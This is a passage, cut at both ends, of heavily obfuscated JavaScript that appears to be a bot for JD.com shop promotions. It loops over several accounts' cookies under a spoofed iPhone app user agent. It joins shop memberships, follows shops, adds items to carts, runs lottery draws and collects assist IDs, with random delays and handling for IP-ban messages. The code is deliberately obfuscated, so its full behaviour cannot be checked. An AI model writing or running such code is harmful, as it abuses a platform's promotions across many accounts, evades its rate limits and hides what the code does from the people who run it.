$[_0x1b99('‮f2','\x52\x5a\x65\x2a')](0x3e8);$[_0x1b99('‫f3','\x26\x2a\x5d\x74')]=[];$[_0x1b99('‫f4','\x79\x41\x4a\x25')]=![];await _0x5713bf['\x54\x71\x73\x59\x6d'](_0x5392e9,_0x5713bf[_0x1b99('‮f5','\x73\x6f\x45\x51')]);if(_0x5713bf['\x4b\x58\x79\x77\x69']($[_0x1b99('‫f6','\x43\x5e\x34\x4f')],![])){console['\x6c\x6f\x67'](_0x5713bf[_0x1b99('‮f7','\x5a\x26\x49\x52')]);for(o of $['\x6f\x70\x65\x6e\x4c\x69\x73\x74']){$[_0x1b99('‮f8','\x73\x74\x6e\x7a')]=![];if(_0x5713bf['\x57\x61\x53\x61\x4b'](o[_0x1b99('‫f9','\x77\x73\x45\x66')],0x0)||_0x5713bf[_0x1b99('‮fa','\x34\x42\x32\x28')](o[_0x1b99('‫fb','\x77\x58\x6e\x30')],![])||_0x5713bf[_0x1b99('‮fc','\x43\x5e\x34\x4f')](o[_0x1b99('‫fd','\x73\x4d\x36\x64')],![])){if(_0x5713bf[_0x1b99('‫fe','\x73\x4d\x36\x64')](_0x5713bf['\x48\x72\x78\x72\x77'],_0x5713bf[_0x1b99('‫ff','\x4e\x49\x34\x73')])){_0x44cd69=!![];$[_0x1b99('‫100','\x6f\x4f\x79\x7a')]='';$['\x6a\x6f\x69\x6e\x56\x65\x6e\x64\x65\x72\x49\x64']=o['\x76\x65\x6e\x64\x65\x72\x49\x64']||o[_0x1b99('‫101','\x47\x42\x36\x51')];if(!$['\x6a\x6f\x69\x6e\x56\x65\x6e\x64\x65\x72\x49\x64']){if(_0x5713bf[_0x1b99('‫102','\x5d\x57\x49\x50')](_0x5713bf['\x78\x58\x4f\x74\x41'],_0x5713bf[_0x1b99('‮103','\x75\x61\x76\x53')])){console[_0x1b99('‫104','\x72\x31\x49\x56')](_0x5713bf[_0x1b99('‫105','\x79\x68\x39\x42')]);break;}else{$['\x55\x41']=_0x1b99('‮106','\x79\x68\x39\x42')+_0x5713bf[_0x1b99('‫107','\x73\x74\x6e\x7a')](_0x5c1e7a,0x28)+'\x3b\x6e\x65\x74\x77\x6f\x72\x6b\x2f\x77\x69\x66\x69\x3b\x6d\x6f\x64\x65\x6c\x2f\x69\x50\x68\x6f\x6e\x65\x38\x2c\x31\x3b\x61\x64\x64\x72\x65\x73\x73\x69\x64\x2f\x32\x33\x30\x38\x34\x36\x30\x36\x31\x31\x3b\x61\x70\x70\x42\x75\x69\x6c\x64\x2f\x31\x36\x37\x38\x31\x34\x3b\x6a\x64\x53\x75\x70\x70\x6f\x72\x74\x44\x61\x72\x6b\x4d\x6f\x64\x65\x2f\x30\x3b\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x69\x50\x68\x6f\x6e\x65\x3b\x20\x43\x50\x55\x20\x69\x50\x68\x6f\x6e\x65\x20\x4f\x53\x20\x31\x33\x5f\x31\x5f\x32\x20\x6c\x69\x6b\x65\x20\x4d\x61\x63\x20\x4f\x53\x20\x58\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x36\x30\x35\x2e\x31\x2e\x31\x35\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x4d\x6f\x62\x69\x6c\x65\x2f\x31\x35\x45\x31\x34\x38\x3b\x73\x75\x70\x70\x6f\x72\x74\x4a\x44\x53\x48\x57\x4b\x2f\x31';}}await _0x5713bf[_0x1b99('‮108','\x73\x6f\x45\x51')](_0x3a0481);for(let _0x16beaa=0x0;_0x5713bf[_0x1b99('‮109','\x70\x6e\x39\x25')](_0x16beaa,_0x5713bf['\x67\x70\x43\x62\x58'](Array,0x5)['\x6c\x65\x6e\x67\x74\x68']);_0x16beaa++){if(_0x5713bf[_0x1b99('‫10a','\x55\x52\x6e\x49')](_0x5713bf[_0x1b99('‫10b','\x4b\x64\x41\x74')],_0x5713bf['\x4e\x53\x69\x6b\x64'])){if(_0x5713bf[_0x1b99('‮10c','\x79\x68\x39\x42')](_0x16beaa,0x0))console['\x6c\x6f\x67']('\u7b2c'+_0x16beaa+_0x1b99('‮10d','\x52\x5a\x65\x2a'));await _0x5713bf['\x52\x6e\x6b\x78\x76'](_0x5d0dac);if(_0x5713bf[_0x1b99('‮10e','\x48\x63\x69\x24')]($['\x65\x72\x72\x6f\x72\x4a\x6f\x69\x6e\x53\x68\x6f\x70']['\x69\x6e\x64\x65\x78\x4f\x66'](_0x5713bf['\x4f\x52\x49\x62\x63']),-0x1)&&_0x5713bf[_0x1b99('‫10f','\x26\x2a\x5d\x74')]($['\x65\x72\x72\x6f\x72\x4a\x6f\x69\x6e\x53\x68\x6f\x70'][_0x1b99('‮110','\x77\x58\x6e\x30')](_0x5713bf[_0x1b99('‫111','\x34\x42\x32\x28')]),-0x1)){if(_0x5713bf[_0x1b99('‫112','\x48\x63\x69\x24')](_0x5713bf[_0x1b99('‮113','\x79\x41\x4a\x25')],_0x5713bf['\x75\x59\x72\x61\x4d'])){num++;value=item['\x69\x6e\x66\x6f\x4e\x61\x6d\x65'][_0x1b99('‮114','\x4f\x4e\x72\x78')]('\u4eac\u8c46','');if(_0x5713bf['\x5a\x42\x4f\x70\x51']($['\x69\x6e\x64\x65\x78'],0x1)&&_0x5713bf['\x55\x65\x6a\x6c\x76']($[_0x1b99('‮115','\x73\x4d\x36\x64')](_0x5713bf[_0x1b99('‮116','\x77\x73\x45\x66')],$[_0x1b99('‮117','\x79\x68\x39\x42')]),$[_0x1b99('‫118','\x73\x6f\x45\x51')](_0x5713bf[_0x1b99('‫119','\x75\x61\x76\x53')],item[_0x1b99('‫11a','\x43\x5e\x34\x4f')]))){$['\x61\x73\x73\x69\x73\x74\x43\x6f\x75\x6e\x74']++;}dayShareTime=_0x5713bf['\x49\x4d\x57\x43\x68'](dayShareTime,item[_0x1b99('‫11b','\x73\x4d\x36\x64')])?item[_0x1b99('‮11c','\x79\x41\x4a\x25')]:dayShareTime;}else{break;}}}else{console['\x6c\x6f\x67'](''+(item[_0x1b99('‫11d','\x4e\x49\x34\x73')]&&_0x5713bf[_0x1b99('‫11e','\x73\x4d\x36\x64')](jsonName[item['\x64\x72\x61\x77\x49\x64']]&&jsonName[item[_0x1b99('‮11f','\x37\x25\x76\x25')]]||item[_0x1b99('‮120','\x31\x29\x36\x42')],'\x3a')||''||item[_0x1b99('‫121','\x39\x62\x59\x64')]&&_0x5713bf[_0x1b99('‮122','\x56\x4a\x31\x45')](item[_0x1b99('‫123','\x77\x73\x45\x66')],'\x3a')||'')+item[_0x1b99('‫124','\x5d\x57\x49\x50')]);}}if(_0x5713bf['\x5a\x68\x6a\x4b\x67']($['\x65\x72\x72\x6f\x72\x4a\x6f\x69\x6e\x53\x68\x6f\x70'][_0x1b99('‮125','\x68\x73\x23\x52')](_0x5713bf[_0x1b99('‮126','\x34\x42\x32\x28')]),-0x1)){console[_0x1b99('‮54','\x70\x6e\x39\x25')](_0x5713bf['\x66\x42\x78\x70\x49']);allMessage+=_0x1b99('‫127','\x40\x2a\x37\x6f')+$[_0x1b99('‮128','\x79\x41\x4a\x25')]+_0x1b99('‮129','\x72\x31\x49\x56');}else{$['\x6a\x6f\x69\x6e\x53\x74\x61\x74\x75\x73']=!![];}await _0x5713bf[_0x1b99('‮12a','\x73\x4d\x36\x64')](_0x5392e9,_0x5713bf['\x53\x50\x42\x6e\x6a']);await _0x5713bf[_0x1b99('‮12b','\x55\x52\x6e\x49')](_0x5392e9,_0x5713bf['\x65\x6e\x4f\x4b\x44']);await _0x5713bf[_0x1b99('‫12c','\x36\x29\x75\x36')](_0x5392e9,_0x5713bf[_0x1b99('‮12d','\x70\x48\x74\x68')]);await $['\x77\x61\x69\x74'](_0x5713bf[_0x1b99('‮12e','\x4f\x66\x66\x61')](parseInt,_0x5713bf[_0x1b99('‫12f','\x73\x6f\x45\x51')](_0x5713bf[_0x1b99('‫130','\x36\x29\x75\x36')](Math[_0x1b99('‮131','\x37\x25\x76\x25')](),0x7d0),0x3e8),0xa));}else{$[_0x1b99('‮132','\x26\x39\x38\x42')]=d[_0x1b99('‮133','\x79\x41\x4a\x25')][_0x1b99('‫134','\x47\x42\x36\x51')]||![];$[_0x1b99('‫135','\x62\x34\x68\x42')]=d[_0x1b99('‮136','\x4b\x64\x41\x74')][_0x1b99('‮137','\x43\x5e\x34\x4f')]||[];}}}}else{if(_0x5713bf['\x72\x4b\x47\x57\x78'](_0x5713bf[_0x1b99('‫138','\x70\x6e\x39\x25')],_0x5713bf[_0x1b99('‫139','\x79\x68\x39\x42')])){console[_0x1b99('‮13a','\x36\x29\x75\x36')](_0x5713bf['\x4f\x50\x70\x53\x53']);}else{let _0x154b49=ck['\x73\x70\x6c\x69\x74']('\x3b')[0x0][_0x1b99('‮13b','\x76\x52\x57\x33')]();if(_0x154b49[_0x1b99('‮13c','\x39\x62\x59\x64')]('\x3d')[0x1]){cookieArr[_0x154b49[_0x1b99('‫13d','\x31\x29\x36\x42')]('\x3d')[0x0]]=_0x154b49[_0x1b99('‫13e','\x79\x41\x4a\x25')](_0x5713bf[_0x1b99('‮13f','\x55\x52\x6e\x49')](_0x154b49['\x73\x70\x6c\x69\x74']('\x3d')[0x0],'\x3d'),'');}}}if($[_0x1b99('‫140','\x4c\x55\x52\x77')]){console[_0x1b99('‫141','\x79\x41\x4a\x25')](_0x5713bf['\x5a\x4c\x62\x56\x52']);}else if(!$['\x66\x6f\x6c\x6c\x6f\x77\x53\x68\x6f\x70']&&!$['\x6f\x75\x74\x46\x6c\x61\x67']){_0x44cd69=!![];await _0x5713bf['\x74\x74\x65\x6f\x42'](_0x5392e9,'\u5173\u6ce8');await $['\x77\x61\x69\x74'](_0x5713bf[_0x1b99('‮142','\x4c\x55\x52\x77')](parseInt,_0x5713bf[_0x1b99('‮143','\x70\x48\x74\x68')](_0x5713bf[_0x1b99('‫144','\x75\x61\x76\x53')](Math[_0x1b99('‮145','\x42\x34\x36\x26')](),0x7d0),0x3e8),0xa));}if($['\x66\x6f\x6c\x6c\x6f\x77\x50\x65\x6f\x6e\x79']){if(_0x5713bf[_0x1b99('‫146','\x58\x5b\x46\x26')](_0x5713bf[_0x1b99('‫147','\x38\x45\x35\x2a')],_0x5713bf[_0x1b99('‮148','\x26\x2a\x5d\x74')])){console[_0x1b99('‮149','\x44\x64\x57\x34')](_0x5713bf[_0x1b99('‮14a','\x39\x62\x59\x64')]);}else{_0x5713bf[_0x1b99('‮14b','\x79\x68\x39\x42')](resolve);}}else if(!$[_0x1b99('‫14c','\x54\x72\x32\x6b')]&&!$['\x6f\x75\x74\x46\x6c\x61\x67']){_0x44cd69=!![];await _0x5713bf[_0x1b99('‮14d','\x4c\x55\x52\x77')](_0x5392e9,_0x5713bf[_0x1b99('‮14e','\x70\x48\x74\x68')]);await $['\x77\x61\x69\x74'](_0x5713bf[_0x1b99('‫14f','\x4f\x4e\x72\x78')](parseInt,_0x5713bf[_0x1b99('‫150','\x6f\x4f\x79\x7a')](_0x5713bf[_0x1b99('‮151','\x77\x73\x45\x66')](Math[_0x1b99('‫152','\x26\x6c\x47\x5a')](),0x7d0),0x3e8),0xa));}if($[_0x1b99('‫153','\x62\x34\x68\x42')]){console[_0x1b99('‮149','\x44\x64\x57\x34')](_0x5713bf['\x54\x44\x49\x6a\x72']);}else if(!$['\x61\x64\x64\x43\x61\x72\x74']&&!$[_0x1b99('‮154','\x4e\x49\x34\x73')]){if(_0x5713bf[_0x1b99('‮155','\x39\x62\x59\x64')](_0x5713bf[_0x1b99('‮156','\x76\x52\x57\x33')](guaopencard_addSku,''),_0x5713bf[_0x1b99('‫157','\x21\x44\x35\x79')])){_0x44cd69=!![];let _0x2039da=[];if(cleanCart){if(_0x5713bf['\x72\x4b\x47\x57\x78'](_0x5713bf[_0x1b99('‫158','\x77\x73\x45\x66')],_0x5713bf[_0x1b99('‫159','\x37\x25\x76\x25')])){console[_0x1b99('‫141','\x79\x41\x4a\x25')](_0x5713bf[_0x1b99('‮14a','\x39\x62\x59\x64')]);}else{_0x2039da=await cleanCart['\x63\x6c\x65\x61\x6e'](cookie,_0x5713bf[_0x1b99('‫15a','\x72\x31\x49\x56')],'');if(_0x5713bf[_0x1b99('‫15b','\x44\x64\x57\x34')](_0x2039da,![]))await $[_0x1b99('‫15c','\x58\x5b\x46\x26')](_0x5713bf[_0x1b99('‫15d','\x43\x5e\x34\x4f')](parseInt,_0x5713bf['\x74\x69\x53\x61\x66'](_0x5713bf[_0x1b99('‮15e','\x70\x6e\x39\x25')](Math[_0x1b99('‮15f','\x73\x74\x6e\x7a')](),0x3e8),0xfa0),0xa));}}await _0x5713bf[_0x1b99('‮160','\x73\x4d\x36\x64')](_0x5392e9,'\u52a0\u8d2d');await $['\x77\x61\x69\x74'](_0x5713bf[_0x1b99('‫161','\x55\x52\x6e\x49')](parseInt,_0x5713bf['\x74\x69\x53\x61\x66'](_0x5713bf[_0x1b99('‫162','\x26\x6c\x47\x5a')](Math['\x72\x61\x6e\x64\x6f\x6d'](),0x7d0),0xfa0),0xa));if(cleanCart&&_0x5713bf[_0x1b99('‮163','\x44\x25\x37\x63')](_0x2039da,![])){await cleanCart['\x63\x6c\x65\x61\x6e'](cookie,_0x5713bf['\x6d\x72\x77\x57\x55'],_0x2039da||[]);}}else{console[_0x1b99('‮164','\x6f\x4f\x79\x7a')](_0x5713bf[_0x1b99('‮165','\x36\x29\x75\x36')]);}}if(_0x44cd69){await _0x5713bf[_0x1b99('‮166','\x44\x64\x57\x34')](_0x5392e9,_0x5713bf[_0x1b99('‮167','\x38\x45\x35\x2a')]);}console['\x6c\x6f\x67']($[_0x1b99('‫168','\x23\x39\x79\x5d')]+'\u503c');if(_0x5713bf[_0x1b99('‮169','\x79\x68\x39\x42')](_0x5713bf[_0x1b99('‫16a','\x21\x44\x35\x79')](guaopencard_draw,''),'\x30')){$['\x72\x75\x6e\x46\x61\x6c\x61\x67']=!![];let _0x3adfec=_0x5713bf['\x74\x74\x65\x6f\x42'](parseInt,_0x5713bf['\x78\x47\x61\x44\x6a']($[_0x1b99('‮16b','\x56\x4a\x31\x45')],0x1));guaopencard_draw=_0x5713bf[_0x1b99('‮16c','\x69\x47\x6d\x56')](parseInt,guaopencard_draw,0xa);if(_0x5713bf[_0x1b99('‮16d','\x36\x29\x75\x36')](_0x3adfec,guaopencard_draw))_0x3adfec=guaopencard_draw;console[_0x1b99('‮149','\x44\x64\x57\x34')]('\u62bd\u5956\u6b21\u6570\u4e3a\x3a'+_0x3adfec);for(m=0x1;_0x3adfec--;m++){console['\x6c\x6f\x67']('\u7b2c'+m+'\u6b21\u62bd\u5956');await _0x5713bf[_0x1b99('‫16e','\x26\x39\x38\x42')](_0x5392e9,'\u62bd\u5956');if(_0x5713bf[_0x1b99('‫16f','\x54\x72\x32\x6b')]($[_0x1b99('‫170','\x69\x47\x6d\x56')],![]))break;if(_0x5713bf[_0x1b99('‮171','\x4f\x66\x66\x61')](_0x5713bf[_0x1b99('‫172','\x31\x29\x36\x42')](Number,_0x3adfec),0x0))break;if(_0x5713bf[_0x1b99('‫173','\x38\x45\x35\x2a')](m,0xa)){console[_0x1b99('‮174','\x79\x68\x39\x42')](_0x5713bf[_0x1b99('‮175','\x72\x31\x49\x56')]);break;}await $[_0x1b99('‮176','\x4c\x55\x52\x77')](_0x5713bf['\x6e\x61\x70\x48\x61'](parseInt,_0x5713bf[_0x1b99('‮177','\x72\x31\x49\x56')](_0x5713bf[_0x1b99('‫178','\x76\x52\x57\x33')](Math[_0x1b99('‫179','\x4f\x4e\x72\x78')](),0x7d0),0x7d0),0xa));}}else console[_0x1b99('‮17a','\x4f\x66\x66\x61')](_0x5713bf[_0x1b99('‮17b','\x69\x47\x6d\x56')]);await $[_0x1b99('‫17c','\x31\x29\x36\x42')](_0x5713bf[_0x1b99('‫17d','\x43\x5e\x34\x4f')](parseInt,_0x5713bf[_0x1b99('‫17e','\x79\x41\x4a\x25')](_0x5713bf[_0x1b99('‫17f','\x62\x34\x68\x42')](Math['\x72\x61\x6e\x64\x6f\x6d'](),0x3e8),0x7d0),0xa));}else{let _0x1d5fae={'Accept':_0x5713bf[_0x1b99('‮180','\x73\x74\x6e\x7a')],'Accept-Encoding':_0x5713bf[_0x1b99('‮181','\x73\x6f\x45\x51')],'Accept-Language':_0x5713bf[_0x1b99('‫182','\x39\x62\x59\x64')],'Connection':_0x5713bf['\x4c\x6b\x79\x43\x61'],'Content-Type':_0x5713bf[_0x1b99('‮183','\x5a\x26\x49\x52')],'Cookie':cookie,'User-Agent':$['\x55\x41'],'X-Requested-With':_0x5713bf[_0x1b99('‮184','\x54\x72\x32\x6b')]};if(_0x5713bf[_0x1b99('‮e5','\x4f\x66\x66\x61')](url['\x69\x6e\x64\x65\x78\x4f\x66'](_0x5713bf[_0x1b99('‮185','\x73\x74\x6e\x7a')]),-0x1)){_0x1d5fae[_0x5713bf['\x72\x62\x57\x63\x78']]=_0x1b99('‫186','\x4e\x49\x34\x73')+$[_0x1b99('‮187','\x34\x42\x32\x28')]+'\x26\x73\x68\x61\x72\x65\x55\x75\x69\x64\x3d'+$['\x73\x68\x61\x72\x65\x55\x75\x69\x64'];_0x1d5fae[_0x5713bf[_0x1b99('‮188','\x38\x45\x35\x2a')]]=_0x5713bf['\x4d\x47\x64\x50\x48'](_0x47e5e3,$[_0x1b99('‮189','\x77\x58\x6e\x30')]&&_0x5713bf['\x46\x57\x6b\x46\x54'](_0x47e5e3[_0x1b99('‮18a','\x4f\x4e\x72\x78')](_0x5713bf[_0x1b99('‫18b','\x54\x72\x32\x6b')]),-0x1)&&_0x5713bf[_0x1b99('‮18c','\x26\x39\x38\x42')](_0x5713bf[_0x1b99('‫18d','\x44\x25\x37\x63')](_0x5713bf['\x79\x4c\x6e\x6b\x79'],$[_0x1b99('‮18e','\x44\x64\x57\x34')]),'\x3b')||'');}return{'\x75\x72\x6c':url,'\x6d\x65\x74\x68\x6f\x64':method,'\x68\x65\x61\x64\x65\x72\x73':_0x1d5fae,'\x62\x6f\x64\x79':body,'\x74\x69\x6d\x65\x6f\x75\x74':0xea60};}}await _0x5713bf[_0x1b99('‫18f','\x62\x34\x68\x42')](_0x5392e9,_0x5713bf['\x54\x56\x6e\x41\x63']);await _0x5713bf[_0x1b99('‫190','\x36\x29\x75\x36')](_0x5392e9,_0x5713bf[_0x1b99('‮191','\x36\x29\x75\x36')]);if($['\x6f\x75\x74\x46\x6c\x61\x67']){if(_0x5713bf[_0x1b99('‫192','\x4c\x55\x52\x77')](_0x5713bf['\x77\x42\x67\x62\x43'],_0x5713bf[_0x1b99('‮193','\x44\x64\x57\x34')])){_0x5713bf['\x6a\x58\x71\x73\x67'](resolve);}else{console[_0x1b99('‮13a','\x36\x29\x75\x36')](_0x5713bf['\x55\x56\x53\x55\x4e']);return;}}console[_0x1b99('‫194','\x4c\x55\x52\x77')]($[_0x1b99('‮195','\x70\x48\x74\x68')]);console['\x6c\x6f\x67']('\u5f53\u524d\u52a9\u529b\x3a'+$[_0x1b99('‫196','\x26\x2a\x5d\x74')]);if(_0x5713bf[_0x1b99('‮197','\x39\x62\x59\x64')]($[_0x1b99('‮198','\x44\x64\x57\x34')],0x1)){$[_0x1b99('‮199','\x6f\x4f\x79\x7a')]=$[_0x1b99('‫19a','\x31\x29\x36\x42')];console[_0x1b99('‫19b','\x44\x25\x37\x63')](_0x1b99('‫19c','\x42\x34\x36\x26')+$['\x73\x68\x61\x72\x65\x55\x75\x69\x64']);}if(_0x5713bf['\x62\x52\x6e\x79\x41'](_0x5713bf[_0x1b99('‮19d','\x4e\x49\x34\x73')](_0x3861d6,''),_0x5713bf[_0x1b99('‫19e','\x6f\x4f\x79\x7a')])){if(_0x5713bf[_0x1b99('‮19f','\x76\x52\x57\x33')](_0x5713bf[_0x1b99('‮1a0','\x44\x65\x4c\x73')],_0x5713bf[_0x1b99('‮1a1','\x70\x6e\x39\x25')])){console[_0x1b99('‮1a2','\x26\x2a\x5d\x74')](data);}else{await $[_0x1b99('‫1a3','\x75\x61\x76\x53')](_0x5713bf[_0x1b99('‫1a4','\x44\x25\x37\x63')](parseInt,_0x5713bf[_0x1b99('‮1a5','\x44\x64\x57\x34')](_0x5713bf[_0x1b99('‮1a6','\x73\x4d\x36\x64')](Math[_0x1b99('‫1a7','\x44\x25\x37\x63')](),0x3e8),0x1388),0xa));if(_0x44cd69)await $[_0x1b99('‮1a8','\x40\x2a\x37\x6f')](_0x5713bf['\x67\x7a\x72\x77\x4e'](parseInt,_0x5713bf[_0x1b99('‮1a9','\x39\x62\x59\x64')](_0x5713bf['\x6b\x4a\x49\x50\x64'](Math[_0x1b99('‮131','\x37\x25\x76\x25')](),0x3e8),0x1388),0xa));if(guaopenwait){if(_0x5713bf[_0x1b99('‫1aa','\x58\x5b\x46\x26')]($[_0x1b99('‫1ab','\x6f\x4f\x79\x7a')],cookiesArr['\x6c\x65\x6e\x67\x74\x68'])){if(_0x5713bf[_0x1b99('‫1ac','\x73\x4d\x36\x64')](_0x5713bf[_0x1b99('‫1ad','\x5a\x26\x49\x52')],_0x5713bf[_0x1b99('‫1ae','\x73\x4d\x36\x64')])){console[_0x1b99('‮164','\x6f\x4f\x79\x7a')](e,resp);}else{console[_0x1b99('‫e1','\x77\x58\x6e\x30')]('\u7b49\u5f85'+guaopenwait+'\u79d2');await $[_0x1b99('‮1af','\x40\x34\x35\x43')](_0x5713bf['\x6b\x4a\x49\x50\x64'](_0x5713bf[_0x1b99('‮1b0','\x76\x52\x57\x33')](parseInt,guaopenwait,0xa),0x3e8));}}}else{if(_0x5713bf[_0x1b99('‮1b1','\x69\x47\x6d\x56')](_0x5713bf['\x41\x66\x6b\x61\x62']($[_0x1b99('‮1b2','\x4f\x66\x66\x61')],0x3),0x0))console[_0x1b99('‫1b3','\x40\x2a\x37\x6f')](_0x5713bf[_0x1b99('‫1b4','\x66\x30\x36\x74')]);if(_0x5713bf['\x79\x70\x45\x72\x42'](_0x5713bf[_0x1b99('‫1b5','\x23\x39\x79\x5d')]($[_0x1b99('‫1b6','\x47\x42\x36\x51')],0x3),0x0))await $[_0x1b99('‮1b7','\x5a\x26\x49\x52')](_0x5713bf['\x67\x7a\x72\x77\x4e'](parseInt,_0x5713bf[_0x1b99('‫1b8','\x73\x74\x6e\x7a')](_0x5713bf['\x6b\x4a\x49\x50\x64'](Math[_0x1b99('‮1b9','\x5d\x57\x49\x50')](),0x1388),0xea60),0xa));}}}}catch(_0x50ad91){if(_0x5713bf[_0x1b99('‫1ba','\x26\x39\x38\x42')](_0x5713bf['\x67\x41\x52\x78\x63'],_0x5713bf['\x46\x52\x45\x68\x47'])){console[_0x1b99('‫cc','\x68\x73\x23\x52')](_0x50ad91);}else{$[_0x1b99('‫1bb','\x75\x61\x76\x53')]=d[_0x1b99('‫1bc','\x44\x64\x57\x34')]||d[_0x1b99('‫1bd','\x4f\x4e\x72\x78')]||d[_0x1b99('‫1be','\x77\x58\x6e\x30')]||$[_0x1b99('‫1bf','\x44\x65\x4c\x73')];}}}async function _0x5392e9(_0x173bc5){var _0x1940d8={'\x61\x71\x47\x77\x65':_0x1b99('‮1c0','\x49\x57\x26\x55'),'\x68\x52\x56\x47\x41':_0x1b99('‮1c1','\x72\x31\x49\x56'),'\x56\x6c\x57\x75\x43':_0x1b99('‮1c2','\x44\x25\x37\x63'),'\x55\x67\x45\x46\x68':function(_0x3a342d,_0x4d5f79){return _0x3a342d!=_0x4d5f79;},'\x6e\x4e\x6e\x62\x68':function(_0x1e6b6f,_0x1b565e){return _0x1e6b6f+_0x1b565e;},'\x71\x44\x6c\x6f\x56':_0x1b99('‮1c3','\x40\x2a\x37\x6f'),'\x4b\x74\x71\x56\x41':_0x1b99('‫1c4','\x69\x47\x6d\x56'),'\x6b\x70\x4b\x44\x78':function(_0x3998c6,_0x5087bb){return _0x3998c6!=_0x5087bb;},'\x50\x77\x6d\x43\x68':function(_0x589181,_0x10a4ee){return _0x589181===_0x10a4ee;},'\x67\x77\x4b\x75\x55':'\x76\x75\x61\x71\x42','\x43\x54\x74\x6f\x44':_0x1b99('‮1c5','\x58\x5b\x46\x26'),'\x62\x74\x78\x58\x79':_0x1b99('‮1c6','\x62\x34\x68\x42'),'\x53\x43\x61\x47\x68':function(_0x5c9ed0,_0x3f522c){return _0x5c9ed0(_0x3f522c);},'\x61\x6c\x50\x4d\x58':_0x1b99('‫1c7','\x70\x48\x74\x68'),'\x74\x4c\x6a\x62\x45':function(_0x40771f,_0x16a76e){return _0x40771f==_0x16a76e;},'\x4d\x49\x4c\x47\x6e':function(_0x5d9df0,_0x190c7c){return _0x5d9df0!==_0x190c7c;},'\x68\x62\x70\x50\x46':_0x1b99('‮1c8','\x73\x6f\x45\x51'),'\x44\x52\x64\x41\x7a':_0x1b99('‮1c9','\x58\x5b\x46\x26'),'\x54\x53\x68\x76\x4a':'\u6b64\x69\x70\u5df2\u88ab\u9650\u5236\uff0c\u8bf7\u8fc7\x31\x30\u5206\u949f\u540e\u518d\u6267\u884c\u811a\u672c\x0a','\x56\x4f\x76\x4a\x59':_0x1b99('‫1ca','\x4c\x55\x52\x77'),'\x59\x79\x49\x55\x44':_0x1b99('‮1cb','\x73\x74\x6e\x7a'),'\x6c\x67\x57\x6d\x7a':function(_0x167f1b,_0xc3af15,_0x119058){return _0x167f1b(_0xc3af15,_0x119058);},'\x4d\x48\x49\x6c\x4c':function(_0x47370f){return _0x47370f();},'\x4e\x53\x64\x77\x42':function(_0x1434a1,_0xeef8da){return _0x1434a1>=_0xeef8da;},'\x42\x54\x71\x74\x79':function(_0x56dea2,_0x2b92f3){return _0x56dea2!==_0x2b92f3;},'\x4f\x52\x6f\x51\x72':'\x55\x47\x70\x4f\x4e','\x63\x75\x7a\x6b\x6e':'\x34\x7c\x33\x7c\x30\x7c\x32\x7c\x31\x7c\x35','\x51\x67\x71\x55\x54':function(_0x21da30,_0x16356e){return _0x21da30(_0x16356e);},'\x76\x4e\x52\x4e\x6c':_0x1b99('‮1cc','\x44\x65\x4c\x73'),'\x66\x6a\x4b\x71\x4b':function(_0x1a9862){return _0x1a9862();},'\x74\x4f\x50\x4e\x78':_0x1b99('‫1cd','\x44\x25\x37\x63'),'\x71\x5a\x77\x61\x59':_0x1b99('‫1ce','\x44\x25\x37\x63'),'\x67\x79\x5a\x76\x65':_0x1b99('‮1cf','\x76\x52\x57\x33'),'\x6e\x65\x56\x54\x4a':_0x1b99('‮1d0','\x4c\x55\x52\x77'),'\x6a\x45\x6d\x66\x41':'\x62\x6f\x64\x79\x3d\x25\x37\x42\x25\x32\x32\x75\x72\x6c\x25\x32\x32\x25\x33\x41\x25\x32\x32\x68\x74\x74\x70\x73\x25\x33\x41\x2f\x2f\x6c\x7a\x64\x7a\x31\x2d\x69\x73\x76\x2e\x69\x73\x76\x6a\x63\x6c\x6f\x75\x64\x2e\x63\x6f\x6d\x25\x32\x32\x25\x32\x43\x25\x32\x32\x69\x64\x25\x32\x32\x25\x33\x41\x25\x32\x32\x25\x32\x32\x25\x37\x44\x26\x75\x75\x69\x64\x3d\x63\x31\x61\x39\x63\x39\x39\x31\x62\x63\x31\x30\x39\x63\x36\x31\x61\x32\x37\x64\x61\x61\x31\x35\x38\x64\x65\x32\x65\x64\x65\x31\x62\x31\x62\x64\x38\x37\x37\x32\x26\x63\x6c\x69\x65\x6e\x74\x3d\x61\x70\x70\x6c\x65\x26\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x3d\x31\x30\x2e\x31\x2e\x34\x26\x73\x74\x3d\x31\x36\x35\x38\x37\x31\x36\x36\x32\x37\x34\x32\x32\x26\x73\x76\x3d\x31\x31\x31\x26\x73\x69\x67\x6e\x3d\x62\x33\x37\x35\x31\x30\x33\x66\x39\x63\x65\x39\x37\x38\x65\x62\x30\x63\x62\x37\x33\x39\x63\x37\x39\x30\x37\x33\x62\x33\x36\x38','\x72\x51\x61\x79\x4e':_0x1b99('‮1d1','\x26\x6c\x47\x5a'),'\x6a\x55\x73\x49\x44':'\x67\x65\x74\x53\x69\x6d\x70\x6c\x65\x41\x63\x74\x49\x6e\x66\x6f\x56\x6f','\x6d\x6d\x7a\x6a\x66':_0x1b99('‮1d2','\x37\x25\x76\x25'),'\x42\x54\x59\x6e\x78':'\x61\x63\x63\x65\x73\x73\x4c\x6f\x67\x57\x69\x74\x68\x41\x44','\x68\x6c\x70\x72\x47':function(_0x23156a,_0x505442){return _0x23156a(_0x505442);},'\x48\x42\x41\x68\x74':function(_0x57226f,_0x411aa0){return _0x57226f(_0x411aa0);},'\x79\x65\x72\x52\x65':_0x1b99('‫1d3','\x4c\x55\x52\x77'),'\x55\x49\x68\x48\x71':function(_0x1ad030,_0x6fbba3){return _0x1ad030(_0x6fbba3);},'\x49\x6a\x55\x55\x4b':_0x1b99('‫1d4','\x39\x62\x59\x64'),'\x57\x67\x64\x64\x42':function(_0x5a9d70,_0x4139a0){return _0x5a9d70(_0x4139a0);},'\x7a\x43\x46\x57\x6b':function(_0x2f2226,_0x163606){return _0x2f2226(_0x163606);},'\x6d\x4d\x6b\x76\x53':_0x1b99('‮1d5','\x31\x29\x36\x42'),'\x79\x52\x48\x57\x70':_0x1b99('‮1d6','\x73\x74\x6e\x7a'),'\x4a\x59\x4c\x75\x76':function(_0x18dd20,_0x557c7e){return 